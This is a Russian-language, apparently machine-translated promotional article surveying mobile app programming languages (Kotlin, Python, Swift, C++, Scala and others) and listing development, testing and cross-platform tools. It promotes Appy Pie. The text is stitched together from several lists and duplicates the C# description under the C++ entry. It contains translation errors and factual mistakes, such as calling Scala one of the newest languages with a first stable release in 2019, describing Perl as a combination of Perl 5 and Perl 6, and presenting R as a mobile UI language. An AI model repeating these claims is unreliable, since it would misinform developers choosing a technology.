Kotlin в основном был разработан для решения проблем на Java. Синтаксис Kotlin прост, понятен и снижает раздувание кода. Java может сопровождать Kotlin в качестве языка программирования приложений Android, чтобы сделать его привлекательным. Google также объявил, что Kotlin станет следующим мощным языком для разработки приложений для Android. Этот язык программирования входит в список лучших языков программирования, которые широко используются разработчиками.

Этот язык программирования для разработки приложений недавно использовался Uber, Evernote и Pinterest для добавления расширенных функций в свои мобильные приложения.Kotlin улучшает поддержку Java и по той же причине является одним из фаворитов разработчиков. Язык программирования мобильных приложений помогает разработчикам сосредоточиться на решении проблем при написании нового приложения.

Прочтите полный обзор приложения Evernote, чтобы узнать о его рабочем процессе, функциях и функциях.

Создано: Создано JetBrains и запущено в 2011 году.

Плюсы:

  • Повышает эффективность команды;
  • Соответствует существующему коду Java;
  • Простота обслуживания;
  • Меньше багов.

Минусы:

  • Все еще не Java;
  • Колебательная скорость компиляции;
  • Ограниченные учебные ресурсы;
  • Нехватка специалистов Kotlin.

Использование / Приложения: Разработка приложений для Android и Backend API.

Средняя зарплата разработчика, использующего этот язык программирования: 115 166 долларов в год.

Кривая сложности: Средняя

Примечательные особенности Kotlin:

  • Как функциональные, так и объектно-ориентированные, особенно полезны для начинающих программистов;
  • Не требуется ставить точку с запятой в конце каждого оператора;
  • Маленькая и легкая библиотека, работающая в JVM;
  • Работает бок о бок с Java и c ++, предыдущий код можно добавить и использовать с библиотекой Коткина;
  • Сократите лишний код и быстрее создавайте приложения;
  • Отсутствие исключений нулевого указателя решает проблему с «нулевой безопасностью».”

Какой язык программирования наиболее востребован?

Среди всех языков разработки приложений JavaScript является наиболее востребованным языком программирования во всей индустрии разработки приложений. JavaScript - это язык, которым пользуются большинство разработчиков приложений из-за его простоты использования и приложений.

Согласно ежегодному опросу разработчиков Stack Overflow, наиболее предпочтительным языком программирования является JavaScript, за которым следуют HTML / CSS и SQL.

Если мы посмотрим на мировые тенденции поиска в Google, с июня 2018 года по май 2019 года JavaScript снова возглавил таблицу, но на этот раз Python был вторым по популярности языком программирования.

Время кодировать

Выбор лучшего языка программирования для мобильных приложений - это еще один шаг к тому, чтобы превратить вашу идею разработки мобильного приложения в функциональное приложение. С одной стороны, идея будет играть доминирующую роль, а с другой стороны, выбор лучшего языка программирования поможет вывести вашу бизнес-стратегию на глобальный уровень.

Разработчик должен понимать требования проекта и принимать решения в зависимости от интересов и типа разработки программного обеспечения.Однако ландшафт компьютерного программирования быстро меняется, и знание пары языков программирования будет огромным преимуществом, особенно для разработчиков.

Ниже приведены возможности, которые разработчики мобильных приложений должны проверить:

  • Внешняя веб-разработка : JavaScript
  • Внутренняя веб-разработка: JavaScript, Java, Python
  • Мобильная разработка: Swift, Java , C #
  • Разработка игр: C ++, C #
  • Настольные приложения: Java, C ++, Python
  • Системное программирование: C

Часто язык программирования не подходит разработчикам. навыки и опыт.В таком случае разработчикам лучше придерживаться того языка, который они знают лучше. Кроме того, предлагается выучить новые языки, чтобы улучшить свои навыки развития.

Автор

Aparna - специалист по развитию, обладающий обширными знаниями в области развития бизнеса. Она считает маркетинг ключевым фактором продаж, следя за последними новостями в индустрии мобильных приложений. Ее отношение к делу делает ее магнитом для самых сложных задач. В свободное время, которого не так много, вы можете поиграть с ней в Fussball.

Follow

25 лучших языков программирования для разработки мобильных приложений

  • Python
  • Язык программирования высокого уровня, Python нашел свое применение в веб-разработке, разработке приложений, создании графических интерфейсов пользователя для настольных ПК, анализе и вычислениях в научных и научных целях. числовые данные, а также для разработки программного обеспечения. Поскольку у этого языка есть множество приложений в реальной жизни, Python в настоящее время является наиболее преподаваемым языком в школе и даже на уровне колледжа. Python как язык красив, ясен, прост, иногда сложен, но не сложен и хорошо читается.Поскольку это легкий для чтения и легкий для изучения язык, Python должен быть в вашем списке, который необходимо выучить.

    Этот язык может быть использован при разработке приложений для Android и настольных компьютеров с нуля. Такие приложения, как Dropbox, Caliber, YouTube, Instagram, Reddit, BitTorrent, OpenStack, Quora, Spotify и многие другие, были созданы на Python. Если это не заставит вас сесть и обратить внимание, мы не знаем, что будет. Чтобы сделать дело еще более удобным, этот язык является одним из самых простых языков, и его изучение на самом деле не так уж и сложно.

  • Swift
  • Считающийся языком программирования будущего, Swift - это новейший язык программирования, который проник в экосистему Apple, и в основном это связано с его популярностью при написании кода для последних API-интерфейсов Apple, Cocoa. и Какао Touch. Язык был выпущен для iOS, поддерживающих ее систем и Linux. Сегодня Swift стал основным языком, который будет использоваться при разработке iOS и OS X, тем самым в некоторой степени заменив Objective-C.В настоящее время Swift доступен только для разработки под iOS, однако, поскольку он работает в Linux и имеет открытый исходный код, его может использовать любой.

  • JavaScript
  • Высокоуровневый интерпретируемый язык программирования, JavaScript - это многопарадигмальный язык, поддерживающий объектно-ориентированное и функциональное программирование. Это не совсем тот язык, который в основном используется для разработки приложений, а язык, который запускается браузерами и используется для разработки и управления веб-страницами.Использовать JavaScript для разработки мобильного приложения только тогда, когда он используется с CSS, HTML и AJAX. Одним из ключевых факторов, делающих разработку приложений на JavaScript удобной, является то, что вам нужно всего лишь один раз написать приложение, и оно может быть выпущено на всех платформах, включая Android, iOS и Windows.

  • Rust
  • Спонсируемый Mozilla, Rust - это системный язык программирования, который, как известно, является безопасным, параллельным и практичным языком, который поддерживает функциональную и императивную процедурную парадигму.Его синтаксис очень похож на C ++. Язык был разработан с акцентом на параллелизм и безопасность системы, а также на создание и поддержание границ, которые сохраняют целостность большой системы.

    Самым большим преимуществом Rust является то, что ошибки обнаруживаются во время компиляции, что позволяет разработчикам писать оптимальный код. Единственный недостаток заключается в том, что установка на окнах может быть немного сложной и запутанной.

  • Scala
  • Scala - один из новейших языков программирования на рынке.Выпущенная в качестве стабильной версии в 2019 году, Scala - это язык программирования общего назначения, обеспечивающий поддержку функционального программирования и сильной системы статических типов.

    Scala предназначена для решения проблем, с которыми сталкивается Java, и позволяет избежать критики программного обеспечения. Поскольку оно в основном основано на Java, программное обеспечение обеспечивает взаимодействие с Java, так что библиотеки, написанные на любом языке, могут напрямую ссылаться на оба программного обеспечения. Scala объектно-ориентирован, как Java, но поддерживает различные функции функционального программирования, такие как каррирование, неизменяемость, ленивое вычисление и сопоставление с образцом.

  • Ruby
  • Под влиянием таких языков, как Perl, Effiel, Ada и Smalltalk, Ruby является объектно-ориентированным, динамическим, интерпретируемым, рефлексивным языком программирования общего назначения. Он поддерживает несколько парадигм программирования, которые являются функциональными, объектно-ориентированными и императивными.

    Ruby имеет систему динамического типа с автоматическим управлением памятью и предлагает стандартную структуру для веб-приложений и мобильных приложений.

    Однако недостатком Ruby является то, что он имеет низкую скорость выполнения, и может быть сложно найти хорошую документацию.

  • GoLang / Go
  • GoLang, также иногда называемый Go, - это язык программирования, созданный Google. Единственная особенность, которая отличает его от других, - это отличная поддержка многопоточности, поэтому она используется рядом компаний, которые сильно зависят от распределенных систем.

    На самом деле, он настолько популярен, что достиг статуса языка программирования, на который стартапы в Кремниевой долине начинают пользоваться.Поскольку это язык со статистической типизацией, он определенно более безопасен, а более чистый синтаксис упрощает изучение.

    Язык поставляется с обширной стандартной библиотекой, предлагающей широкий набор встроенных функций для работы даже с простейшими настройками. Однако более сложные программы, написанные на этом языке, немного менее эффективны из-за отсутствия виртуальной машины.

  • Java
  • Один из самых популярных и предпочтительных языков среди разработчиков приложений для Android, Java в текущем году стал самым популярным языком поисковых систем во всем мире.Этот объектно-ориентированный язык программирования, разработанный в Sun Microsystems, теперь принадлежит Oracle и может запускаться двумя разными способами - в окне браузера или на виртуальной машине без браузера. Именно эта гибкость очень полезна при повторном использовании кода или при обновлении программного обеспечения. Java может быть не очень полезна при разработке iOS, но имеет особую ценность и удобство при разработке кроссплатформенных приложений. Java можно довольно легко использовать для разработки приложений для Android, серверных приложений, веб-приложений, встроенного пространства, технологий больших данных, научных приложений, веб-сайтов и игр.Некоторые из самых популярных приложений Java включают облачный офис ThinkFree, NASA world wind, Blu-Ray Disc Association и Ultra Mixer, но операционная система Android, вероятно, является самым важным приложением.

    (Видео выше является частью более детального курса по Academy от Appy Pie. Чтобы получить доступ к полному курсу, пожалуйста, Щелкните здесь или продолжите чтение ниже.)

  • R
  • Это не дико популярный язык в настоящее время, но определенно имеет некоторый потенциал.Популярность этого языка программирования с односложным названием «R» постепенно растет не только в США, но и во всем мире. Фактически, в опросе, проведенном Stack Overflow, этот язык был назван наименее ненавистным.

    Это язык программирования с открытым исходным кодом, который особенно хорош для пользовательских интерфейсов. Визуальное представление данных важно, и R может оказаться одним из лучших языков для создания красивой анимации, графиков и множества других элементов пользовательского интерфейса в мобильном приложении.Язык также можно использовать для статистических вычислений. Кроме того, R совместим с различными платформами, а также поддерживает кроссплатформенную разработку.

  • C ++
  • Произносится как C Plus Plus, это объектно-ориентированный язык программирования общего назначения с функцией управления памятью низкого уровня. Унаследовав свой синтаксис от C, C ++ является расширением языка. Если вы работали с C, C ++ не будет большой проблемой, поскольку оба языка имеют почти все функции, за исключением того, что C ++ является более всеобъемлющим.C ++ - мощный ресурс, который нашел широкое применение и использование в различных секторах, начиная от финансового сектора и заканчивая производственным бизнесом, банковским сектором и многими другими.

    Именно по этой причине C ++ существует уже давно и нашел свое применение даже в разработке мобильных приложений. C ++ неплохо зарекомендовал себя на арене разработки мобильных приложений, поскольку он творит чудеса, помогая легко разрабатывать кроссплатформенные мобильные приложения благодаря унифицированному опыту отладки и мощной среде.Язык хорош для разработки приложений для Android, Windows и iOS. C ++ имеет потенциал, выходящий далеко за рамки мобильных приложений, и его можно использовать для создания некоторых из самых мощных инструментов, таких как Photoshop, Google Chrome. PayPal, Amazon и другие.

    C ++ может использоваться для разработки операционных систем, нового языка программирования, графики и дизайна, разработки игр, разработки приложений, веб-браузеров, разработки компиляторов языков программирования, медицинских, математических и инженерных приложений, корпоративных инструментов и вычислительных платформ.

    Этот язык может быть применен при создании серверных приложений, веб-сервисов, от игр до мобильных приложений, и это лишь некоторые из них. C # поддерживается Unity3D, что делает его одним из лучших языков для игровых приложений. C # универсален в применениях, которые он нашел для себя в других отраслях, помимо разработки мобильных приложений, включая инструменты для бизнеса и повышения производительности, предприятия, коммунальные услуги, образование и справочные материалы, игры и т. Д. C # нашел свое применение в разработке программного обеспечения, включая AutoCAD, Office 365, Visual Studio и Share Point.

  • PHP
  • Препроцессор гипертекста или PHP - это серверный язык сценариев с открытым исходным кодом, который был разработан в 1995 году для веб-сайтов. Однако сегодня этот язык нашел свое применение больше в разработке общего назначения. PHP используется для создания сценариев на стороне сервера, командной строки и для программирования приложений. В первую очередь язык программирования, PHP используется для создания динамических веб-сайтов, однако его также можно использовать для разработки приложений для Android и iOS. PHP как язык может помочь вам создавать динамические веб-сайты, веб-приложения, а также все типы мобильных приложений.

  • SQL
  • Язык структурированных запросов или SQL - это предметно-ориентированный язык, который особенно полезен для программирования и разработан, в частности, для потоковой обработки в РСУБД. Основываясь на реляционной алгебре и реляционном исчислении кортежей, SQL имеет такие области, как запрос данных, манипулирование данными, определение данных и управление доступом к данным.

    Это был один из первых коммерческих языков для реляционной модели, который особенно полезен для быстрого и эффективного извлечения большого количества данных для базы данных.База данных SQL использует стандарты, которые не только хорошо установлены, но и приняты ANSI и ISO. Вам не нужно писать большое количество кода для управления системой баз данных.

  • C #
  • C # для Microsoft, то, что Objective - C был для Apple, что делает его самым желанным языком для разработки мобильных приложений для телефонов Windows. Несмотря на то, что платформа Windows Phone не смогла оставить прочный или впечатляющий след в панораме разработки мобильных приложений, лояльные пользователи Microsoft, C # оказался идеальным языком, помогающим им создавать одни из самых сильных приложений для Windows Phone.Этот язык, также известный как C Sharp, по сути является многопарадигмальным языком программирования, объектно-компонентно-ориентированным.

    Этот язык может быть применен при создании серверных приложений, веб-сервисов, от игр до мобильных приложений, и это лишь некоторые из них. C # поддерживается Unity3D, что делает его одним из лучших языков для игровых приложений. C # универсален в применении в других отраслях, помимо разработки мобильных приложений, включая инструменты для бизнеса и повышения производительности, предприятия, коммунальные услуги, образование и справочные материалы, игры и т. Д.C # нашел свое применение при разработке программного обеспечения, включая AutoCAD, Office 365, Visual Studio и Share Point.

  • Objective-C
  • Производное от языка программирования C, Objective-C - объектно-ориентированный язык программирования общего назначения. Цель - C - это основной язык программирования, который использовался Apple для разработки iOS и OS X до того, как был разработан Swift. Swift может заменить Objective-C, но Objective-C по-прежнему пользуется популярностью среди разработчиков.Кажется, что язык сохраняет свою актуальность, даже несмотря на то, что в сценарий вошли новые языки по двум основным причинам. Первая причина заключается в том, что в язык было вложено много средств с точки зрения приложений, а во-вторых, фреймворки приложений по-прежнему в значительной степени зависят от Objective-C даже сегодня. Выбор Objective-C, следовательно, кажется хорошей идеей, поскольку позволяет создавать все виды приложений.

  • Kotlin
  • Это сравнительно новый объектно-ориентированный язык программирования первого класса, очень похожий на Java, когда дело касается структуры языка.Новый язык сравнительно чистый и имеет несколько расширенных функций по сравнению с Java, что делает его лучше. Фактически, Kotlin уникален тем, что поддерживает почти все IDE, включая Android Studio и инструментарий SDK.

    Kotlin - независимый от платформы язык, предназначенный для всех платформ, и его собственный код работает на нескольких платформах.

    Kotlin - это язык программирования со статистической типизацией, который поддерживает виртуальную машину Java (JVM), а также может быть скомпилирован с использованием исходного кода JavaScript.У него довольно лаконичный и понятный синтаксис, который в конечном итоге увеличивает эффективность всей команды, и самое приятное то, что из-за ясности и простоты, которые он предлагает, в коде гораздо меньше ошибок, которые можно найти.

    Единственный недостаток, с которым разработчики могут столкнуться с Kotlin, - это ограниченные ресурсы для изучения языка.

  • HTML5
  • Пятая версия HTML (язык гипертекстовой разметки), HTML5 - идеальный вариант для вас, если вы планируете создать веб-приложение для мобильных устройств.Строго говоря, HTML5 на самом деле не является языком разработки мобильных приложений, поэтому, когда вы разрабатываете приложение на нем, его нужно использовать в сочетании с другими языками, такими как JavaScript. Одно из основных требований здесь состоит в том, что необходимо использовать мощный фреймворк, хотите ли вы создать приложение для Android или приложение для iOS. Мобильное приложение может быть создано на HTML5 (CSS и JavaScript) или даже может использоваться в сочетании с API, приложения HTML5 в обоих сценариях достаточно отзывчивы и без проблем работают на всех устройствах и платформах.Это позволяет вам кодировать только один раз и использовать на нескольких устройствах. Существует множество веб-приложений, написанных с использованием HTML5, которые пользуются большой популярностью, некоторые из них, которые вы можете использовать даже сегодня, - это Google Docs или Google Drive.

    HTML5 был довольно успешно принят мобильными и настольными браузерами и предлагает довольно надежную кроссплатформенную поддержку. Именно благодаря этой надежной кроссбраузерной поддержке и высокой скорости отклика любое приложение, созданное на HTML5, работает на всех устройствах довольно плавно, не доставляя особых проблем.HTML5 может использоваться для разработки игр с тегом Canvas и поддерживает как видео, так и аудио. Прежде всего, самым большим преимуществом HTML5 является то, что он состоит из простого и понятного кода.

    (Видео выше является частью более детального курса по Academy от Appy Pie. Чтобы получить доступ к полному курсу, нажмите Щелкните здесь или продолжите чтение ниже.)

  • jQuery
  • Кросс-платформенный Библиотека сценариев Java, jQuery предназначена для поддержки сценариев HTML на стороне клиента.Синтаксис jQuery организован в удобном формате, который упрощает навигацию по документу, выбор правильных элементов в объектной модели документа (DOM), управление событиями, создание анимации и создание приложений Ajax.

    Преимущество использования jQuery заключается в том, что вы можете легко устранить множество проблем с кроссбраузерными скриптами Java. Сложные операции сценария java можно выполнить с помощью небольшого кода в jQuery. Вы можете не только легко добавить к нему функциональность Ajax, но и иметь собственный пользовательский интерфейс и библиотеки эффектов.Единственным недостатком является то, что некоторые разработчики, по сообщениям, оценили его как сложный для изучения язык программирования.

  • Lua
  • Lua - это легкий многопарадигмальный язык, который в первую очередь был разработан для встраиваемых приложений. Это кроссплатформенный язык, в котором ANSI C используется для интерпретатора, а C - для API. Основные особенности языка включают скорость, переносимость, расширяемость и надежность, которые вместе делают его идеальным для встраиваемых приложений.

    Язык особенно полезен, когда дело доходит до обработки ошибок и управления ими. Предшественники Lua включают языки описания / конфигурации данных Simple Object Language (SOL) и Data Entry Language (DEL).

  • Corona
  • Это еще один комплект для разработки программного обеспечения, который используется для создания мобильных 2D-приложений для iOS, Android и Kindle, а также настольных приложений для Windows и OS X в дополнение к подключенным телевизионным приложениям. например Apple TV, Fire TV и Android TV.Он построен на языке программирования LUA и работает над довольно простым процессом, который упрощает разработчикам создание приложений.

  • ObjectPascal
  • Это ветвь объектно-ориентированных производных Паскаля и, по сути, является расширением языка Паскаль. Этот язык сравнительно прост в изучении и понимании благодаря многословности и простому синтаксису, а его компилятор быстрее, чем C и C ++. Обратной стороной является то, что он полезен только в рамках ниши.Кроме того, на этом языке вы должны объявить все переменные, типы, константы и функции прямо в начале кода. Раздражает то, что он содержит ненужный синтаксис.

  • Perl
  • Язык Perl на самом деле представляет собой комбинацию двух разных языков - Perl 5 и Perl 6. Язык динамического программирования высокого уровня Perl имеет возможность использовать функции других языков программирования, таких как C, sed, AWK среди других. Уникальность здесь в том, что и Perl 5, и Perl 6 работают и развиваются независимо друг от друга.

    Язык используется во многих областях, включая автоматизацию, биоинформатику, разработку веб-сайтов, разработку приложений, разработку игр и многие другие. CPAN или всеобъемлющая сеть архивов Perl - это самая мощная функция языка, которая делает его жирным, надежным и индивидуальным.

  • QML
  • Qt Modeling Language или QML - это декларативный язык, очень похожий на CSS и JSON, что делает его идеальным для разработки приложений, ориентированных на пользовательский интерфейс.Элементы QML были расширены с помощью сценария Java, а документация включает иерархическое дерево объектов.

    QML имеет отличную библиотеку материалов и является лучшим языком для разработки мобильных приложений. Обратной стороной является то, что приложение, созданное с помощью QML, требует много времени для запуска без быстрого компилятора Qt, но загвоздка в том, что компилятор поставляется только в коммерческой версии.

  • Scheme
  • Многопарадигмальный язык программирования - Scheme известен своим функциональным и императивным программированием.Язык даже стандартизирован в официальном стандарте IEEE. Схема типично проста и ее намного проще реализовать по сравнению с большинством других языков. Язык поддерживает процедуры первого класса и использует строго, но динамически типизированные переменные.

    Обратной стороной является то, что вы не можете выполнять операции низкого уровня с помощью Scheme, и не рекомендуется программировать новое смещение.

  • ActionScript
  • Это объектно-ориентированный язык программирования, производный от Hypertalk - языка сценариев для HyperCard.Action Script особенно хорош для разработки веб-сайтов и программного обеспечения, ориентированных на платформу Adobe Flash Player для веб-страниц.

    Action Script 1.0 и Action Script 2.0 могут быть запущены на одном компьютере и официально поддерживают настраиваемые классы, что делает его популярным среди разработчиков.

  • Scratch
  • Название происходит от техники скретча диск-жокея, поскольку язык Scratch позволяет разработчикам творчески смешивать различные носители.Это виртуальный язык программирования, созданный для того, чтобы целевыми пользователями были дети. Scratch великолепен как вводный язык, потому что на Scratch сравнительно легче создавать интересные программы, чем на других языках. Однако самое приятное то, что навыки, которые вы приобретаете во время изучения Scratch, применимы, когда вы переходите к базовому программированию на других языках, таких как Python и Java. Поскольку язык ориентирован на детей, он позволяет интегрировать интересные элементы, такие как рассказывание историй, игры и анимации.

    Хотя язык отлично подходит для детей, но для работы с ним требуется идентификатор электронной почты, а несовершеннолетние пользователи должны использовать идентификаторы электронной почты своих родителей.

    В недавнем исследовании рынка разработки приложений мы проанализировали данные Google Trends о языковых вакансиях разработчиков, чтобы составить список самых быстрорастущих вакансий разработчиков на основе популярности и объемов поиска в Google. Исследование установило прямую связь между объемами поиска в Google и вакансиями, доступными на рынке.

    Вот 17 лучших языковых вакансий для разработчиков на основе данных за последние 10 лет:

    Платформа разработки мобильных приложений или MADP - это тип программного обеспечения, которое позволяет предприятиям быстро создавать, тестировать, а иногда даже развертывать мобильные приложения для смартфонов или другие мобильные устройства.Эти платформы и инструменты важны для любой компании или отдельных разработчиков, которые планируют создать собственное приложение.

    На рынке существует несколько таких платформ, и выбрать одну из списка довольно сложно. Вот почему я собрал для вас краткий список из 20 лучших платформ и инструментов для разработки мобильных приложений.

  • Flutter
  • Flutter - это SDK для разработки мобильных приложений с открытым исходным кодом. SDK написан на языке Dart.Платформы лучше всего подходят для разработки гибридных мобильных приложений. Платформа использует движок 2D-рендеринга - Skia для разработки визуальных эффектов.

    Визуальные эффекты очень похожи на Material Design и Cupertino, а тестирование вашего проекта на Flutter очень просто. Самое приятное то, что вам не нужно перезапускать проект в случае ошибки.

  • CoronaSDK
  • Известный тем, что он в десять раз быстрее, чем любой другой фреймворк для разработки мобильных приложений. Corona SDK - один из самых популярных в этом списке.Наиболее важной характеристикой платформы является то, что она поддерживается Lua, который известен как легкий язык программирования, предлагающий большую скорость, удивительную простоту использования и гибкость для разработки приложений.

    Corona SDK идеально подходит для тех, кто хочет писать код быстрее без ущерба для качества приложения.

  • Appy Pie
  • Appy Pie - отличный вариант для людей, не имеющих навыков программирования. Это отличный конструктор приложений, который позволяет создавать приложения для всех основных магазинов приложений за небольшую часть стоимости.Для создания мобильных приложений с помощью Appy Pie вам нужно только перетаскивать функции в свое приложение, и это хорошо. Платформа основана на подходе WYSIWYG и позволяет любому, у кого есть опыт программирования или без него, создавать свои собственные приложения для бизнеса.

  • NativeScript
  • Фреймворк с открытым исходным кодом для создания собственных мобильных приложений с использованием Angular, TypeScript или JavaScript, который был признан одним из лучших фреймворков для разработки гибридных мобильных приложений. Использование этой платформы действительно может повысить вашу кривую обучения, когда дело доходит до навыков разработки мобильных приложений.Для NativeScript доступны сотни плагинов, которые расширят возможности нативных мобильных приложений, которые вы создаете на платформе.

  • MobileAngularUI
  • Фреймворк для разработки мобильных приложений, который в значительной степени опирается на богатые библиотеки, такие как overthrow.js и fastclick.js, и предлагает улучшенный общий опыт. Он не только позволяет создавать отзывчивый мобильный пользовательский интерфейс, но также позволяет конвертировать настольные веб-приложения в мобильные приложения. Вы даже можете создать несколько действительно уникальных мобильных компонентов, а интерфейс спроектирован так, что вы можете изменять окно браузера и одновременно видеть окна рабочего стола и мобильных устройств.В качестве дополнительного преимущества вы даже можете проверить отзывчивость и скорость вашего приложения.

  • LongRange
  • Это один из самых популярных собственных инструментов разработки мобильных приложений, который имеет ряд компонентов, включая навигацию, вкладки, представления форм и команды. Для этой конкретной платформы не нужно быть экспертом в JavaScript, HTML или CSS, и она использует встроенные функции мобильных устройств, такие как GPS, камера, аудио, SMS и т. Д. Кроме того, она снижает расходы на поддержку и расширение мобильного приложения. .

  • Experitest
  • Experitest - одна из ведущих платформ для тестирования мобильных приложений, которая позволяет создавать и выполнять сотни ручных и автоматических тестов одновременно на более чем 1000 реальных устройствах Android и iOS в облаке. Он предлагает вам взаимодействие в реальном времени и отладку в реальном времени. Платформа легко интегрируется с вашими инструментами CI / CD и рабочим процессом, а также предоставляет вам доступ к визуальным отчетам о тестах и ​​расширенной аналитике.

  • HeadSpin
  • HeadSpin предлагает отличную аналитическую информацию о пользовательском опыте вашего приложения, которая имеет практическую ценность и может помочь вам повысить производительность мобильного приложения.Их механизм искусственного интеллекта автоматически упорядочивает проблемы с производительностью от самого большого до минимального временного воздействия. Платформа предлагает вам настройку в облаке или локально в соответствии с различными требованиями. Кроме того, он также предлагает нагрузочное тестирование и гарантирует 100% бесперебойную работу устройств.

  • AppWatch
  • App Watch - это облачный продукт для мобильной аналитики и безопасности, который позволяет пользователям защищать свои мобильные приложения в случае попытки взлома или атаки. Таким образом, пользователи смогут доверять вам и вашему приложению и быть уверены, что приложение будет в безопасности.Этот полезный инструмент позволяет провести полное сканирование мобильного приложения с помощью сторонней библиотеки и сканирования SDK. Он генерирует настраиваемые отчеты с измененными описаниями, логотипом, комментариями и т. Д. Выявленные угрозы и проблемы проверяются несколькими методами.

  • Vuforia
  • Vuforia - это SDK дополненной реальности, который позволяет создавать приложения на основе технологии AR. Фреймворк использует технологию компьютерного зрения для распознавания и отслеживания изображений и 3D-объектов.Он расширяет поддержку всех ведущих мобильных телефонов, планшетов и цифровых очков для платформ Android и iOS.

    Компания Vuforia известна тем, что предлагает лучшее в своем классе компьютерное зрение, обеспечивая при этом надежную и надежную работу в различных средах. Он позволяет добавлять воспроизведение видео, создавать 3D-возможности и создавать виртуальные кнопки, которые приложение может видеть и с которыми может взаимодействовать.

  • EasyAR
  • Easy AR - это приложение на основе дополненной реальности для разработчиков мобильных приложений, предлагающее кроссплатформенную поддержку для разработки приложений.Этот инструмент поставляется с API Objective-C для iOS и доступен для Android, iOS, Windows, Mac OS и других. Он загружен такими функциями, как прозрачное воспроизведение видео, сканирование QR-кода, неограниченное время распознавания, поддержка распознавания облаков и отслеживание 3D-объектов.

  • TensorFlow
  • Библиотека программного обеспечения с открытым исходным кодом для разработки приложений искусственного интеллекта, TensorFlow была специально разработана с упором на мобильные и встроенные платформы. Эти программные библиотеки упрощают интеграцию уникальных функций искусственного интеллекта.Архитектура TensorFlow достаточно гибкая, чтобы можно было развертывать вычисления на настольном компьютере, сервере или мобильном устройстве с помощью единого API. Этот инструмент находит свое применение в первую очередь для глубокого обучения на практике и в исследованиях.

  • IBMWatson
  • IBM Watson позволяет создавать приложения на основе ИИ и позволяет хранить данные в облаке и управлять ими. Этот инструмент помогает интерпретировать и анализировать различные данные, включая неструктурированный текст, изображения, аудио и видео.Он дает индивидуальные рекомендации на основе поведения, личности, тона и эмоций пользователя. С помощью машинного обучения он получает знания в предметной области, а затем позволяет разрабатывать, тестировать и развертывать ботов для нескольких мобильных устройств и платформ обмена сообщениями. Это означает, что вы можете создать плавный диалог между вашими приложениями и пользователями.

  • UnityAds
  • Это отличная платформа, которая поможет вам ненавязчиво и увлекательно интегрировать видеорекламу в мобильные игры.Платформа предлагает самый высокий средний доход на пользователя (ARPU) в мире. Рекламная сеть довольно проста и легка в настройке, предлагая игрокам положительный опыт. Предлагает игрокам награду за просмотр видеорекламы, не прерывая игровой процесс.

  • AppyJump
  • Appy Jump популярен из-за огромного разнообразия вариантов кампании, с помощью которых вы можете начать монетизировать трафик своего мобильного приложения. Они предлагают лучшие в отрасли цены, отслеживание и оптимизацию в реальном времени.Это действительно легко реализовать; все, что для этого нужно, - это три шага - зарегистрироваться, выбрать и просто наслаждаться результатами.

  • UrbanAirship
  • Push-уведомление «Городской дирижабль» позволяет отправлять и доставлять целевые, актуальные, персонализированные и мгновенные сообщения. Это может быть действительно полезно, когда дело доходит до повышения вовлеченности пользователей. Push-уведомления, отправляемые этим инструментом, персонализированы, и эти push-уведомления можно легко оптимизировать на платформе для использования в качестве веб-уведомлений.Платформа позволяет создавать прямые ссылки, имеет автоматизацию в реальном времени и отправляет отчеты о взаимодействии.

  • Pusher
  • С соответствующим названием Pusher - это великолепный инструмент для push-уведомлений, который поддерживает почти все основные языки и платформы. Он позволяет доставлять хорошо оформленные push-уведомления без ущерба для безопасности данных. Он обеспечивает гибкость в обмене сообщениями, предоставляет вам контроль доступа, а его функция Webhook позволяет получать данные о действиях пользователей в системе в реальном времени.Вы даже можете настроить оповещения в Slack, среди прочего, отправлять показатели на панель управления в Datadog.

  • KendoUI
  • Kendo UI известен как платформа, обеспечивающая комплексное решение для разработки мобильных приложений. Фреймворк соответствует современным веб-стандартам, поскольку предоставляет высокомодульные решения для разработки приложений. Фреймворк без проблем работает с Angular JS и позволяет настраивать их веб-приложения в соответствии с размером экрана, будь то настольный компьютер, планшет или телефон.Если у вас есть некоторый опыт работы с JavaScript, это самый простой инструмент для начала. Платформа позволяет использовать компонент источника данных jQuery, который обеспечивает простую привязку данных как для локальных, так и для удаленных данных.

  • OnsenUI
  • Он включает в себя великолепную структуру пользовательского интерфейса и набор инструментов, которые позволяют создавать гибридные мобильные приложения HTML5 на основе PhoneGap. Этот фреймворк довольно легко догнать, и он является довольно мощным инструментом для создания мобильных приложений. Пользовательский интерфейс Onsen, известный как самый быстрый способ разработки гибридных и мобильных веб-приложений, придает внешний вид нативного приложения, предлагая несколько готовых к использованию компонентов и автоматическое оформление, а также имеет удобную сетку для размещения элементов на экране. .

  • Firebase
  • Надежная платформа для разработки мобильных приложений, Firebase совместима с Интернетом, iOS, OS X, Android и другими. Это не только сокращает общее время разработки, но и оставляет нетронутыми серверы и хранилища данных.

    Поскольку это облачный сервис, Firebase на самом деле не требует настройки. Данные в платформе хранятся в формате JSON, что означает, что пользователи могут видеть, что они сохранили. Файловое хранилище в Firebase поддерживается облачным хранилищем Google, и все данные зашифрованы для любой передачи, чтобы обеспечить безопасность данных.Все данные сохраняются в нескольких безопасных местах, что исключает вероятность потери данных. Время, затрачиваемое на создание приложений с помощью Firebase, довольно короткое, поскольку оно плавно интегрируется с такими фреймворками, как Angular JS.

    Кросс-платформенная разработка мобильных приложений включает разработку мобильных приложений, совместимых с несколькими платформами и программными средами. Эти платформы имеют решающее значение для разработчиков, которые пытаются создавать мобильные приложения для своего бизнеса или для своих работодателей.

    Выбор наиболее подходящих кроссплатформенных инструментов и платформ для разработки мобильных приложений играет важную роль в принятии решения о том, каким будет приложение.Вот список из 14 лучших кроссплатформенных инструментов и платформ для разработки мобильных приложений.

  • IntelXDK
  • Межплатформенная среда разработки мобильных приложений Intel XDK имеет несколько подключаемых модулей, которые могут помочь вам создавать действительно значимые мобильные приложения, которые реагируют и интерактивны для всех устройств. Это значительно упрощает процесс тестирования, отладки и эмуляции после того, как вы разработали приложение. Фреймворк известен, в частности, своей совместимостью с футуристическими технологиями, такими как IoT и другими.

    Самое приятное во фреймворке - это то, что вы предварительно просматриваете свой проект вживую, пока все еще вносите изменения.

  • ReactNative
  • Дико популярный кроссплатформенный фреймворк, React Native, создан гигантом социальных сетей - Facebook, и, несмотря на то, что он существует только с 2013 года, платформа стала опцией для разработчиков. . По сути, это среда с открытым исходным кодом, React Native предлагает отличную поддержку IDE и ряда других инструментов разработки мобильных приложений.Фреймворк известен как один из оптимальных фреймворков JavaScript для создания собственных приложений как для Android, так и для iOS.

  • Ionic
  • Один из наиболее широко используемых фреймворков для разработки мобильных приложений - Ionic доступен бесплатно. Как правило, Ionic представляет собой фреймворк на стороне клиента, который помогает им создавать собственные мобильные приложения с использованием комбинации HTML, CSS3 и JavaScript.

